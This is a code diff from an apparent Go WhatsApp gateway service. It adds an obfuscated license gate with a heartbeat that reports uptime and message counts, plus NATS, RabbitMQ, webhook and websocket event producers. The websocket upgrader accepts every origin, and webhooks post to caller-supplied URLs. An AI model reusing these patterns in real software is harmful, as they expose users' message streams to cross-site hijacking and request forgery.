+	if err := _yosh(&RuntimeData{
+		APIKey:     _kni,
+		Tier:       _b56,
+		CustomerID: customerID,
+	}); err != nil {
+		fmt.Printf("  ⚠ Warning: could not save license: %v\n", err)
+	}
+
+	if err := _c4m(rc, rc._64); err != nil {
+		return err
+	}
+
+	rc.mu.Lock()
+	rc._s6a = sha256.Sum256([]byte(rc._kni + rc._z14))
+	rc.mu.Unlock()
+	rc._txz.Store(true)
+	ActivateIntegrity(rc)
+
+	fmt.Printf("  ✓ License activated! Key: %s...%s (_b56: %s)\n",
+		_kni[:8], _kni[len(_kni)-4:], _b56)
+
+	go func() {
+		if err := _814l(rc, 0); err != nil {
+			fmt.Printf("  ⚠ First heartbeat failed: %v\n", err)
+		}
+	}()
+
+	return nil
+}
+
+func ValidateContext(rc *RuntimeContext) (bool, string) {
+	if rc == nil {
+		return false, ""
+	}
+	if !rc._txz.Load() {
+		return false, rc.RegistrationURL()
+	}
+	expected := sha256.Sum256([]byte(rc._kni + rc._z14))
+	actual := rc.ContextHash()
+	if expected != actual {
+		return false, ""
+	}
+	return true, ""
+}
+
+func GateMiddleware(rc *RuntimeContext) gin.HandlerFunc {
+	return func(c *gin.Context) {
+		path := c.Request.URL.Path
+
+		if path == "/health" || path == "/server/ok" || path == "/favicon.ico" ||
+			path == "/license/status" || path == "/license/register" || path == "/license/activate" ||
+			strings.HasPrefix(path, "/passkey-ceremony") ||
+			strings.HasPrefix(path, "/swagger") || path == "/ws" {
+			c.Next()
+			return
+		}
+
+		valid, _ := ValidateContext(rc)
+		if !valid {
+			c.AbortWithStatusJSON(http.StatusServiceUnavailable, gin.H{
+				"error":   "service not activated",
+				"code":    "LICENSE_REQUIRED",
+				"message": "License required.",
+			})
+			return
+		}
+
+		c.Set("_rch", rc.ContextHash())
+		c.Next()
+	}
+}
+
+func LicenseRoutes(eng *gin.Engine, rc *RuntimeContext) {
+	lic := eng.Group("/license")
+	{
+		lic.GET("/status", func(c *gin.Context) {
+			status := "inactive"
+			if rc.IsActive() {
+				status = "active"
+			}
+
+			resp := gin.H{
+				"status":      status,
+				"instance_id": rc._z14,
+			}
+
+			rc.mu.RLock()
+			if rc._kni != "" {
+				resp["api_key"] = rc._kni[:8] + "..." + rc._kni[len(rc._kni)-4:]
+			}
+			rc.mu.RUnlock()
+
+			c.JSON(http.StatusOK, resp)
+		})
+
+		lic.GET("/register", func(c *gin.Context) {
+			if rc.IsActive() {
+				c.JSON(http.StatusOK, gin.H{
+					"status":  "active",
+					"message": "License is already active",
+				})
+				return
+			}
+
+			rc.mu.RLock()
+			existingURL := rc._v8
+			rc.mu.RUnlock()
+
+			if existingURL != "" {
+				c.JSON(http.StatusOK, gin.H{
+					"status":       "pending",
+					"register_url": existingURL,
+				})
+				return
+			}
+
+			payload := map[string]string{
+				"tier":        rc._b56,
+				"version":     rc._64,
+				"instance_id": rc._z14,
+			}
+			if redirectURI := c.Query("redirect_uri"); redirectURI != "" {
+				payload["redirect_uri"] = redirectURI
+			}
+
+			resp, err := _dtnx("/v1/register/init", payload)
+			if err != nil {
+				c.JSON(http.StatusBadGateway, gin.H{
+					"error":   "Failed to contact licensing server",
+					"details": err.Error(),
+				})
+				return
+			}
+			defer resp.Body.Close()
+
+			if resp.StatusCode != http.StatusOK {
+				_n6oe := _3ya(resp)
+				c.JSON(resp.StatusCode, gin.H{
+					"error":   "Licensing server error",
+					"details": _n6oe.Error(),
+				})
+				return
+			}
+
+			var _3y struct {
+				RegisterURL string `json:"register_url"`
+				Token       string `json:"token"`
+			}
+			json.NewDecoder(resp.Body).Decode(&_3y)
+
+			rc.mu.Lock()
+			rc._v8 = _3y.RegisterURL
+			rc._0z9m = _3y.Token
+			rc.mu.Unlock()
+
+			fmt.Printf("  → Registration URL: %s\n", _3y.RegisterURL)
+
+			c.JSON(http.StatusOK, gin.H{
+				"status":       "pending",
+				"register_url": _3y.RegisterURL,
+			})
+		})
+
+		lic.GET("/activate", func(c *gin.Context) {
+			if rc.IsActive() {
+				c.JSON(http.StatusOK, gin.H{
+					"status":  "active",
+					"message": "License is already active",
+				})
+				return
+			}
+
+			code := c.Query("code")
+			if code == "" {
+				c.JSON(http.StatusBadRequest, gin.H{
+					"error":   "Missing code parameter",
+					"message": "Provide ?code=AUTHORIZATION_CODE from the registration callback.",
+				})
+				return
+			}
+
+			exchangeResp, err := _dtnx("/v1/register/exchange", map[string]string{
+				"authorization_code": code,
+				"instance_id":       rc._z14,
+			})
+			if err != nil {
+				c.JSON(http.StatusBadGateway, gin.H{
+					"error":   "Failed to contact licensing server",
+					"details": err.Error(),
+				})
+				return
+			}
+			defer exchangeResp.Body.Close()
+
+			if exchangeResp.StatusCode != http.StatusOK {
+				_n6oe := _3ya(exchangeResp)
+				c.JSON(exchangeResp.StatusCode, gin.H{
+					"error":   "Exchange failed",
+					"details": _n6oe.Error(),
+				})
+				return
+			}
+
+			var _tmzn struct {
+				APIKey     string `json:"api_key"`
+				Tier       string `json:"tier"`
+				CustomerID int    `json:"customer_id"`
+			}
+			json.NewDecoder(exchangeResp.Body).Decode(&_tmzn)
+
+			if _tmzn.APIKey == "" {
+				c.JSON(http.StatusBadRequest, gin.H{
+					"error":   "Invalid or expired code",
+					"message": "The authorization code is invalid or has expired.",
+				})
+				return
+			}
+
+			if err := rc._bf8(_tmzn.APIKey, _tmzn.Tier, _tmzn.CustomerID); err != nil {
+				c.JSON(http.StatusInternalServerError, gin.H{
+					"error":   "Activation failed",
+					"details": err.Error(),
+				})
+				return
+			}
+
+			c.JSON(http.StatusOK, gin.H{
+				"status":  "active",
+				"message": "License activated successfully!",
+			})
+		})
+	}
+}
+
+func StartHeartbeat(ctx context.Context, rc *RuntimeContext, startTime time.Time) {
+	go func() {
+		ticker := time.NewTicker(hbInterval)
+		defer ticker.Stop()
+
+		for {
+			select {
+			case <-ctx.Done():
+				return
+			case <-ticker.C:
+				if !rc.IsActive() {
+					continue
+				}
+				uptime := int64(time.Since(startTime).Seconds())
+				if err := _814l(rc, uptime); err != nil {
+					fmt.Printf("  ⚠ Heartbeat failed (non-blocking): %v\n", err)
+				}
+			}
+		}
+	}()
+}
+
+func Shutdown(rc *RuntimeContext) {
+	if rc == nil || rc._kni == "" {
+		return
+	}
+	_wj(rc)
+}
+
+func _pl(code string) (_kni string, err error) {
+	resp, err := _dtnx("/v1/register/exchange", map[string]string{
+		"authorization_code": code,
+	})
+	if err != nil {
+		return "", err
+	}
+	defer resp.Body.Close()
+
+	if resp.StatusCode != http.StatusOK {
+		return "", _3ya(resp)
+	}
+
+	var _tmzn struct {
+		APIKey string `json:"api_key"`
+	}
+	json.NewDecoder(resp.Body).Decode(&_tmzn)
+	if _tmzn.APIKey == "" {
+		return "", fmt.Errorf("exchange returned empty api_key")
+	}
+	return _tmzn.APIKey, nil
+}
+
+func _58(authCodeOrKey string) (string, error) {
+	_kni, err := _pl(authCodeOrKey)
+	if err == nil && _kni != "" {
+		return _kni, nil
+	}
+	return authCodeOrKey, nil
+}
+
+func _c4m(rc *RuntimeContext, _64 string) error {
+	resp, err := _sn("/v1/activate", map[string]string{
+		"instance_id": rc._z14,
+		"version":     _64,
+	}, rc._kni)
+	if err != nil {
+		return err
+	}
+	defer resp.Body.Close()
+
+	if resp.StatusCode != http.StatusOK {
+		return _3ya(resp)
+	}
+
+	var _tmzn struct {
+		Status string `json:"status"`
+	}
+	json.NewDecoder(resp.Body).Decode(&_tmzn)
+
+	if _tmzn.Status != "active" {
+		return fmt.Errorf("activation returned status: %s", _tmzn.Status)
+	}
+	return nil
+}
+
+func _814l(rc *RuntimeContext, uptimeSeconds int64) error {
+	_hpv := rc._4g()
+	_ti9 := rc._ti9.Swap(0)
+
+	payload := map[string]any{
+		"instance_id":    rc._z14,
+		"uptime_seconds": uptimeSeconds,
+		"version":        rc._64,
+	}
+
+	if _hpv > 0 || _ti9 > 0 {
+		bundle := map[string]any{}
+		if _hpv > 0 {
+			bundle["messages_sent"] = _hpv
+		}
+		if _ti9 > 0 {
+			bundle["messages_recv"] = _ti9
+		}
+		payload["telemetry_bundle"] = bundle
+	}
+
+	resp, err := _sn("/v1/heartbeat", payload, rc._kni)
+	if err != nil {
+		rc._hpv.Add(_hpv)
+		rc._ti9.Add(_ti9)
+		return err
+	}
+	defer resp.Body.Close()
+
+	if resp.StatusCode != http.StatusOK {
+		rc._hpv.Add(_hpv)
+		rc._ti9.Add(_ti9)
+		return _3ya(resp)
+	}
+	return nil
+}
+
+func _wj(rc *RuntimeContext) {
+	ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
+	defer cancel()
+
+	body, _ := json.Marshal(map[string]string{
+		"instance_id": rc._z14,
+	})
+
+	url := _cdo() + "/v1/deactivate"
+	req, err := http.NewRequestWithContext(ctx, http.MethodPost, url, bytes.NewReader(body))
+	if err != nil {
+		return
+	}
+	req.Header.Set("Content-Type", "application/json")
+	req.Header.Set("X-Api-Key", rc._kni)
+	req.Header.Set("X-Signature", _4crw(body, rc._kni))
+	_3t.Do(req)
+}

whatsapp-service/pkg/events/interfaces/producer.go

@@ -0,0 +1,6 @@
+package producer_interfaces
+
+type Producer interface {
+	Produce(queueName string, payload []byte, webhookUrl string, userID string) error
+	CreateGlobalQueues() error
+}

whatsapp-service/pkg/events/nats/nats_producer.go

@@ -0,0 +1,81 @@
+package nats_producer
+
+import (
+	producer_interfaces "agentdeck-whatsapp-service/pkg/events/interfaces"
+	logger_wrapper "agentdeck-whatsapp-service/pkg/logger"
+	"github.com/gomessguii/logger"
+	"github.com/nats-io/nats.go"
+)
+
+type natsProducer struct {
+	conn              *nats.Conn
+	natsGlobalEnabled bool
+	natsGlobalEvents  []string
+	loggerWrapper     *logger_wrapper.LoggerManager
+}
+
+func NewNatsProducer(
+	url string,
+	natsGlobalEnabled bool,
+	natsGlobalEvents []string,
+	loggerWrapper *logger_wrapper.LoggerManager,
+) producer_interfaces.Producer {
+	conn, err := nats.Connect(url)
+	if err != nil {
+		logger.LogError("Failed to connect to NATS: %v", err)
+		return &natsProducer{
+			conn:              nil,
+			natsGlobalEnabled: false,
+			natsGlobalEvents:  nil,
+			loggerWrapper:     loggerWrapper,
+		}
+	}
+
+	return &natsProducer{
+		conn:              conn,
+		natsGlobalEnabled: natsGlobalEnabled,
+		natsGlobalEvents:  natsGlobalEvents,
+		loggerWrapper:     loggerWrapper,
+	}
+}
+
+func (p *natsProducer) Produce(
+	queueName string,
+	payload []byte,
+	natsEnable string,
+	userID string,
+) error {
+	p.loggerWrapper.GetLogger(userID).LogInfo("[%s] NATS Producer - Starting produce for subject: %s", userID, queueName)
+	p.loggerWrapper.GetLogger(userID).LogInfo("[%s] NATS Producer - Global enabled: %v", userID, p.natsGlobalEnabled)
+
+	if p.conn == nil {
+		p.loggerWrapper.GetLogger(userID).LogWarn("[%s] NATS connection is nil", userID)
+		return nil
+	}
+
+	if natsEnable == "global" {
+		p.loggerWrapper.GetLogger(userID).LogInfo("[%s] Publishing to global subject: %s", userID, queueName)
+		err := p.conn.Publish(queueName, payload)
+		if err != nil {
+			p.loggerWrapper.GetLogger(userID).LogError("[%s] Failed to publish message to subject %s: %v", userID, queueName, err)
+			return err
+		}
+		p.loggerWrapper.GetLogger(userID).LogInfo("[%s] Message published successfully to subject: %s", userID, queueName)
+	}
+
+	if natsEnable == "enabled" {
+		err := p.conn.Publish(queueName, payload)
+		if err != nil {
+			p.loggerWrapper.GetLogger(userID).LogError("[%s] Failed to publish message to instance subject %s: %v", userID, queueName, err)
+			return err
+		}
+		p.loggerWrapper.GetLogger(userID).LogInfo("[%s] Message published successfully to instance subject: %s", userID, queueName)
+	}
+
+	return nil
+}
+
+// CreateGlobalQueues não faz nada para NATS producer pois os subjects são criados dinamicamente
+func (p *natsProducer) CreateGlobalQueues() error {
+	return nil
+}

whatsapp-service/pkg/events/rabbitmq/rabbitmq_producer.go

@@ -0,0 +1,319 @@
+package rabbitmq_producer
+
+import (
+	"fmt"
+	"net/url"
+	"strings"
+	"time"
+
+	producer_interfaces "agentdeck-whatsapp-service/pkg/events/interfaces"
+	logger_wrapper "agentdeck-whatsapp-service/pkg/logger"
+	"github.com/gomessguii/logger"
+	amqp "github.com/rabbitmq/amqp091-go"
+)
+
+type rabbitMQProducer struct {
+	conn               *amqp.Connection
+	amqpGlobalEnabled  bool
+	amqpGlobalEvents   []string
+	amqpSpecificEvents []string
+	connStr            string
+	maxRetries         int
+	loggerWrapper      *logger_wrapper.LoggerManager
+}
+
+func NewRabbitMQProducer(
+	conn *amqp.Connection,
+	amqpGlobalEnabled bool,
+	amqpGlobalEvents []string,
+	amqpSpecificEvents []string,
+	connStr string,
+	loggerWrapper *logger_wrapper.LoggerManager,
+) producer_interfaces.Producer {
+	producer := &rabbitMQProducer{
+		conn:               conn,
+		amqpGlobalEnabled:  amqpGlobalEnabled,
+		amqpGlobalEvents:   amqpGlobalEvents,
+		amqpSpecificEvents: amqpSpecificEvents,
+		connStr:            connStr,
+		maxRetries:         3,
+		loggerWrapper:      loggerWrapper,
+	}
+
+	return producer
+}
+
+// maskConnectionString masks sensitive information in the connection string for logging
+func (p *rabbitMQProducer) maskConnectionString(connStr string) string {
+	if connStr == "" {
+		return "empty"
+	}
+
+	parsedURL, err := url.Parse(connStr)
+	if err != nil {
+		return "invalid-url"
+	}
+
+	// Mask password if present
+	if parsedURL.User != nil {
+		if _, hasPassword := parsedURL.User.Password(); hasPassword {
+			parsedURL.User = url.UserPassword(parsedURL.User.Username(), "***")
+		}
+	}
+
+	return parsedURL.String()
+}
+
+// handleConnectionClose monitors connection close events and logs them
+func (p *rabbitMQProducer) handleConnectionClose() {
+	if p.conn == nil {
+		return
+	}
+
+	closeChan := make(chan *amqp.Error)
+	p.conn.NotifyClose(closeChan)
+
+	closeErr := <-closeChan
+	if closeErr != nil {
+		logger.LogWarn("RabbitMQ connection closed unexpectedly: %v", closeErr)
+		logger.LogInfo("Connection will be re-established on next message send")
+	} else {
+		logger.LogInfo("RabbitMQ connection closed gracefully")
+	}
+}
+
+func (p *rabbitMQProducer) reconnect() error {
+	if p.connStr == "" {
+		return fmt.Errorf("connection string is empty - RabbitMQ URL not configured")
+	}
+
+	logger.LogInfo("Starting RabbitMQ reconnection process with URL: %s", p.maskConnectionString(p.connStr))
+
+	var err error
+	for i := 0; i < 3; i++ {
+		logger.LogInfo("Tentando reconectar ao RabbitMQ (tentativa %d/3)", i+1)
+
+		// Create connection with heartbeat to prevent timeouts
+		config := amqp.Config{
+			Heartbeat: 30 * time.Second, // Send heartbeat every 30 seconds
+			Locale:    "en_US",
+		}
+
+		p.conn, err = amqp.DialConfig(p.connStr, config)
+		if err == nil {
+			logger.LogInfo("Reconectado com sucesso ao RabbitMQ com heartbeat de 30s")
+
+			// Set up connection close notification
+			go p.handleConnectionClose()
+			return nil
+		}
+
+		logger.LogError("Falha na tentativa %d/3 de reconexão: %v", i+1, err)
+		if i < 2 { // Don't sleep on the last attempt
+			time.Sleep(time.Second * 2)
+		}
+	}
+	return fmt.Errorf("falha ao reconectar após 3 tentativas: %v", err)
+}
+
+func (p *rabbitMQProducer) ensureConnection() error {
+	if p.conn == nil || p.conn.IsClosed() {
+		return p.reconnect()
+	}
+	return nil
+}
+
+func (p *rabbitMQProducer) publishWithRetry(
+	channel *amqp.Channel,
+	queueName string,
+	payload []byte,
+	userID string,
+) error {
+	var err error
+	for i := 0; i < p.maxRetries; i++ {
+		err = channel.Publish(
+			"",        // exchange
+			queueName, // routing key
+			false,     // mandatory
+			false,     // immediate
+			amqp.Publishing{
+				ContentType:  "application/json",
+				Body:         payload,
+				DeliveryMode: amqp.Persistent, // Garante persistência da mensagem
+			})
+
+		if err == nil {
+			return nil
+		}
+
+		logger.LogWarn("[%s] Falha ao publicar mensagem (tentativa %d/%d): %v",
+			userID, i+1, p.maxRetries, err)
+
+		// Se o erro for de conexão, tenta reconectar
+		if err.Error() == "Exception (504) Reason: \"channel/connection is not open\"" {
+			if err := p.ensureConnection(); err != nil {
+				continue
+			}
+
+			// Cria novo canal após reconexão
+			channel, err = p.conn.Channel()
+			if err != nil {
+				continue
+			}
+		}
+
+		time.Sleep(time.Second * time.Duration(i+1))
+	}
+	return err
+}
+
+func (p *rabbitMQProducer) Produce(
+	queueName string,
+	payload []byte,
+	rabbitmqEnable string,
+	userID string,
+) error {
+	p.loggerWrapper.GetLogger(userID).LogInfo("[%s] RabbitMQ Producer - Starting produce for queue: %s", userID, queueName)
+
+	if p.connStr == "" {
+		return fmt.Errorf("RabbitMQ connection string is empty - check AMQP_URL configuration")
+	}
+
+	if err := p.ensureConnection(); err != nil {
+		p.loggerWrapper.GetLogger(userID).LogError("[%s] Failed to ensure RabbitMQ connection: %v", userID, err)
+		return fmt.Errorf("falha ao garantir conexão: %v", err)
+	}
+
+	channel, err := p.conn.Channel()
+	if err != nil {
+		return fmt.Errorf("falha ao abrir canal: %v", err)
+	}
+	defer channel.Close()
+
+	// Configura confirmação de publicação
+	if err := channel.Confirm(false); err != nil {
+		return fmt.Errorf("falha ao configurar confirms do canal: %v", err)
+	}
+
+	args := amqp.Table{
+		"x-queue-type": "quorum",
+		"x-ha-policy":  "all", // Alta disponibilidade
+	}
+
+	if rabbitmqEnable == "global" || rabbitmqEnable == "enabled" {
+		_, err = channel.QueueDeclare(
+			queueName, // name
+			true,      // durable
+			false,     // delete when unused
+			false,     // exclusive
+			false,     // no-wait
+			args,      // arguments
+		)
+		if err != nil {
+			return fmt.Errorf("falha ao declarar fila %s: %v", queueName, err)
+		}
+
+		err = p.publishWithRetry(channel, queueName, payload, userID)
+		if err != nil {
+			return fmt.Errorf("falha ao publicar mensagem após todas as tentativas: %v", err)
+		}
+
+		p.loggerWrapper.GetLogger(userID).LogInfo("[%s] Mensagem publicada com sucesso na fila: %s", userID, queueName)
+	}
+
+	return nil
+}
+
+// CreateGlobalQueues cria todas as filas globais no startup da aplicação
+func (p *rabbitMQProducer) CreateGlobalQueues() error {
+	if !p.amqpGlobalEnabled {
+		return nil
+	}
+
+	p.loggerWrapper.GetLogger("system").LogInfo("Creating global queues for enabled events")
+
+	if err := p.ensureConnection(); err != nil {
+		return fmt.Errorf("failed to ensure connection: %v", err)
+	}
+
+	channel, err := p.conn.Channel()
+	if err != nil {
+		return fmt.Errorf("failed to open channel: %v", err)
+	}
+	defer channel.Close()
+
+	args := amqp.Table{
+		"x-queue-type": "quorum",
+		"x-ha-policy":  "all", // Alta disponibilidade
+	}
+
+	createdQueues := 0
+
+	// AMQP_SPECIFIC_EVENTS tem prioridade sobre AMQP_GLOBAL_EVENTS
+	if len(p.amqpSpecificEvents) > 0 {
+		p.loggerWrapper.GetLogger("system").LogInfo("Using AMQP_SPECIFIC_EVENTS (priority over AMQP_GLOBAL_EVENTS)")
+
+		// Cria filas diretas para eventos específicos
+		for _, eventName := range p.amqpSpecificEvents {
+			queueName := strings.ToLower(eventName)
+
+			_, err = channel.QueueDeclare(
+				queueName, // name
+				true,      // durable
+				false,     // delete when unused
+				false,     // exclusive
+				false,     // no-wait
+				args,      // arguments
+			)
+			if err != nil {
+				p.loggerWrapper.GetLogger("system").LogError("Failed to create specific queue %s: %v", queueName, err)
+				return fmt.Errorf("failed to create specific queue %s: %v", queueName, err)
+			}
+			p.loggerWrapper.GetLogger("system").LogInfo("Specific queue created: %s", queueName)
+			createdQueues++
+		}
+	} else {
+		p.loggerWrapper.GetLogger("system").LogInfo("Using AMQP_GLOBAL_EVENTS (fallback mode)")
+
+		// Mapeia eventos globais para os eventos originais que precisam de filas (modo antigo)
+		eventMap := map[string][]string{
+			"MESSAGE":       {"message"},
+			"SEND_MESSAGE":  {"sendmessage"},
+			"READ_RECEIPT":  {"receipt"},
+			"PRESENCE":      {"presence"},
+			"HISTORY_SYNC":  {"historysync"},
+			"CHAT_PRESENCE": {"chatpresence", "archive"},
+			"CALL":          {"calloffer", "callaccept", "callterminate", "calloffernotice", "callrelaylatency"},
+			"CONNECTION":    {"connected", "pairsuccess", "temporaryban", "loggedout", "connectfailure", "disconnected"},
+			"LABEL":         {"labeledit", "labelassociationchat", "labelassociationmessage"},
+			"CONTACT":       {"contact", "pushname"},
+			"GROUP":         {"groupinfo", "joinedgroup"},
+			"NEWSLETTER":    {"newsletterjoin", "newsletterleave"},
+			"QRCODE":        {"qrcode", "qrtimeout", "qrsuccess"},
+		}
+
+		for _, globalEvent := range p.amqpGlobalEvents {
+			if queueNames, exists := eventMap[globalEvent]; exists {
+				for _, queueName := range queueNames {
+					_, err = channel.QueueDeclare(
+						queueName, // name
+						true,      // durable
+						false,     // delete when unused
+						false,     // exclusive
+						false,     // no-wait
+						args,      // arguments
+					)
+					if err != nil {
+						p.loggerWrapper.GetLogger("system").LogError("Failed to create global queue %s: %v", queueName, err)
+						return fmt.Errorf("failed to create global queue %s: %v", queueName, err)
+					}
+					p.loggerWrapper.GetLogger("system").LogInfo("Global queue created: %s", queueName)
+					createdQueues++
+				}
+			}
+		}
+	}
+
+	p.loggerWrapper.GetLogger("system").LogInfo("Successfully created %d global queues", createdQueues)
+	return nil
+}

whatsapp-service/pkg/events/webhook/webhook_producer.go

@@ -0,0 +1,97 @@
+package webhook_producer
+
+import (
+	"bytes"
+	"errors"
+	"fmt"
+	"io"
+	"net/http"
+	"strings"
+	"time"
+
+	producer_interfaces "agentdeck-whatsapp-service/pkg/events/interfaces"
+	logger_wrapper "agentdeck-whatsapp-service/pkg/logger"
+)
+
+type webhookProducer struct {
+	url           string
+	loggerWrapper *logger_wrapper.LoggerManager
+}
+
+func NewWebhookProducer(
+	url string,
+	loggerWrapper *logger_wrapper.LoggerManager,
+) producer_interfaces.Producer {
+	return &webhookProducer{
+		url:           url,
+		loggerWrapper: loggerWrapper,
+	}
+}
+
+func (p *webhookProducer) Produce(
+	queueName string,
+	payload []byte,
+	webhookUrl string,
+	userID string,
+) error {
+	splitQueue := strings.Split(queueName, ".")
+
+	if len(splitQueue) < 2 {
+		return nil
+	}
+
+	if p.url != "" {
+		go p.sendWebhookWithRetry(p.url, payload, 5, 30*time.Second, userID)
+	}
+	if webhookUrl != "" {
+		go p.sendWebhookWithRetry(webhookUrl, payload, 5, 30*time.Second, userID)
+	}
+
+	return nil
+}
+
+func (p *webhookProducer) sendWebhookWithRetry(url string, body []byte, maxRetries int, retryInterval time.Duration, userID string) {
+	for i := 0; i < maxRetries; i++ {
+		err, responseBody, statusCode := p.sendWebhook(url, body, userID)
+		if err == nil {
+			p.loggerWrapper.GetLogger(userID).LogInfo("[%s] webhook sent successfully - url: %s, status: %d, response: %s", userID, url, statusCode, string(responseBody))
+			return
+		}
+		p.loggerWrapper.GetLogger(userID).LogWarn("[%s] webhook failed - url: %s, attempt: %d, error: %v", userID, url, i+1, err)
+
+		time.Sleep(retryInterval)
+	}
+	p.loggerWrapper.GetLogger(userID).LogError("[%s] webhook failed after maximum retries - url: %s", userID, url)
+}
+
+func (p *webhookProducer) sendWebhook(url string, body []byte, userID string) (error, []byte, int) {
+	req, err := http.NewRequest("POST", url, bytes.NewBuffer(body))
+	if err != nil {
+		return err, nil, 0
+	}
+
+	req.Header.Set("Content-Type", "application/json")
+
+	client := &http.Client{}
+	resp, err := client.Do(req)
+	if err != nil {
+		return err, nil, 0
+	}
+	defer resp.Body.Close()
+
+	responseBody, err := io.ReadAll(resp.Body)
+	if err != nil {
+		return fmt.Errorf("erro ao ler resposta: %v", err), nil, 0
+	}
+
+	if resp.StatusCode < 200 || resp.StatusCode >= 300 {
+		return errors.New("received non-2xx response: " + resp.Status), responseBody, resp.StatusCode
+	}
+
+	return nil, responseBody, resp.StatusCode
+}
+
+// CreateGlobalQueues não faz nada para webhook producer
+func (p *webhookProducer) CreateGlobalQueues() error {
+	return nil
+}

whatsapp-service/pkg/events/websocket/websocket_producer.go

@@ -0,0 +1,140 @@
+package websocket_producer
+
+import (
+	"net/http"
+	"strings"
+	"sync"
+
+	logger_wrapper "agentdeck-whatsapp-service/pkg/logger"
+	"github.com/gomessguii/logger"
+	"github.com/gorilla/websocket"
+)
+
+var upgrader = websocket.Upgrader{
+	ReadBufferSize:  1024,
+	WriteBufferSize: 1024,
+	CheckOrigin: func(r *http.Request) bool {
+		logger.LogInfo("Verificando origem da conexão WebSocket")
+		return true
+	},
+}
+
+type websocketProducer struct {
+	clients       map[string]*websocket.Conn // conexões específicas por instância
+	broadcast     []*websocket.Conn          // conexões que recebem todos os eventos
+	clientsMux    sync.RWMutex
+	loggerWrapper *logger_wrapper.LoggerManager
+}
+
+func NewWebsocketProducer(loggerWrapper *logger_wrapper.LoggerManager) *websocketProducer {
+	return &websocketProducer{
+		clients:       make(map[string]*websocket.Conn),
+		broadcast:     make([]*websocket.Conn, 0),
+		clientsMux:    sync.RWMutex{},
+		loggerWrapper: loggerWrapper,
+	}
+}
+
+// ServeWs lida com as requisições de upgrade para websocket
+func ServeWs(w http.ResponseWriter, r *http.Request, instanceId string, producer *websocketProducer) {
+	logger.LogInfo("Iniciando upgrade da conexão WebSocket")
+	conn, err := upgrader.Upgrade(w, r, nil)
+	if err != nil {
+		logger.LogError("Erro ao fazer upgrade da conexão websocket: %v", err)
+		return
+	}
+
+	logger.LogInfo("Conexão WebSocket estabelecida com sucesso")
+
+	if instanceId == "" {
+		producer.AddBroadcastClient(conn)
+	} else {
+		producer.AddClient(instanceId, conn)
+	}
+
+	// Goroutine para limpar conexão quando fechada
+	go func() {
+		for {
+			_, _, err := conn.ReadMessage()
+			if err != nil {
+				if instanceId == "" {
+					producer.RemoveBroadcastClient(conn)
+				} else {
+					producer.RemoveClient(instanceId)
+				}
+				conn.Close()
+				break
+			}
+		}
+	}()
+}
+
+func (p *websocketProducer) AddBroadcastClient(conn *websocket.Conn) {
+	p.clientsMux.Lock()
+	defer p.clientsMux.Unlock()
+	p.broadcast = append(p.broadcast, conn)
+	logger.LogInfo("Cliente broadcast websocket adicionado")
+}
+
+func (p *websocketProducer) RemoveBroadcastClient(conn *websocket.Conn) {
+	p.clientsMux.Lock()
+	defer p.clientsMux.Unlock()
+	for i, c := range p.broadcast {
+		if c == conn {
+			p.broadcast = append(p.broadcast[:i], p.broadcast[i+1:]...)
+			break
+		}
+	}
+	logger.LogInfo("Cliente broadcast websocket removido")
+}
+
+func (p *websocketProducer) AddClient(instanceID string, conn *websocket.Conn) {
+	p.clientsMux.Lock()
+	defer p.clientsMux.Unlock()
+	p.clients[instanceID] = conn
+	p.loggerWrapper.GetLogger(instanceID).LogInfo("Cliente websocket adicionado para instância: %s", instanceID)
+}
+
+func (p *websocketProducer) RemoveClient(instanceID string) {
+	p.clientsMux.Lock()
+	defer p.clientsMux.Unlock()
+	delete(p.clients, instanceID)
+	p.loggerWrapper.GetLogger(instanceID).LogInfo("Cliente websocket removido para instância: %s", instanceID)
+}
+
+func (p *websocketProducer) Produce(queueName string, payload []byte, instanceID string, _ string) error {
+	message := map[string]interface{}{
+		"queue":   strings.ToLower(queueName),
+		"payload": string(payload),
+	}
+
+	p.clientsMux.RLock()
+	defer p.clientsMux.RUnlock()
+
+	// Envia para cliente específico da instância
+	if client, exists := p.clients[instanceID]; exists {
+		err := client.WriteJSON(message)
+		if err != nil {
+			p.loggerWrapper.GetLogger(instanceID).LogError("Erro ao enviar mensagem websocket para %s: %v", instanceID, err)
+			// Não remove o cliente aqui pois estamos com o RLock
+			return err
+		}
+		p.loggerWrapper.GetLogger(instanceID).LogInfo("Mensagem websocket enviada com sucesso para instância %s na fila %s", instanceID, queueName)
+	}
+
+	// Envia para todos os clientes broadcast
+	for _, conn := range p.broadcast {
+		err := conn.WriteJSON(message)
+		if err != nil {
+			p.loggerWrapper.GetLogger(instanceID).LogError("Erro ao enviar mensagem broadcast websocket: %v", err)
+			continue
+		}
+	}
+
+	return nil
+}
+
+// CreateGlobalQueues não faz nada para websocket producer
+func (p *websocketProducer) CreateGlobalQueues() error {
+	return nil
+}

whatsapp-service/pkg/group/handler/group_handler.go

@@ -0,0 +1,533 @@
+package group_handler
+
+import (
+	"net/http"
+
+	group_service "agentdeck-whatsapp-service/pkg/group/service"
+	instance_model "agentdeck-whatsapp-service/pkg/instance/model"
+	"github.com/gin-gonic/gin"
+)
+
+type GroupHandler interface {
+	ListGroups(ctx *gin.Context)
+	GetGroupInfo(ctx *gin.Context)
+	GetGroupInviteLink(ctx *gin.Context)
+	SetGroupPhoto(ctx *gin.Context)
+	SetGroupName(ctx *gin.Context)
+	SetGroupDescription(ctx *gin.Context)
+	CreateGroup(ctx *gin.Context)
+	UpdateParticipant(ctx *gin.Context)
+	GetMyGroups(ctx *gin.Context)
+	JoinGroupLink(ctx *gin.Context)
+	LeaveGroup(ctx *gin.Context)
+	UpdateGroupSettings(ctx *gin.Context)
+}
+
+type groupHandler struct {
+	groupService group_service.GroupService
+}
+
+// List groups
+// @Summary List groups
+// @Description List groups
+// @Tags Group
+// @Accept json
+// @Produce json
+// @Success 200 {object} gin.H "success"
+// @Failure 500 {object} gin.H "Internal server error"
+// @Router /group/list [get]
+func (g *groupHandler) ListGroups(ctx *gin.Context) {
+	getInstance := ctx.MustGet("instance")
+
+	instance, ok := getInstance.(*instance_model.Instance)
+	if !ok {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": "instance not found"})
+		return
+	}
+
+	resp, err := g.groupService.ListGroups(instance)
+	if err != nil {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+
+	ctx.JSON(http.StatusOK, gin.H{"message": "success", "data": resp})
+}
+
+// Get group info
+// @Summary Get group info
+// @Description Get group info
+// @Tags Group
+// @Accept json
+// @Produce json
+// @Param message body group_service.GetGroupInfoStruct true "Group data"
+// @Success 200 {object} gin.H "success"
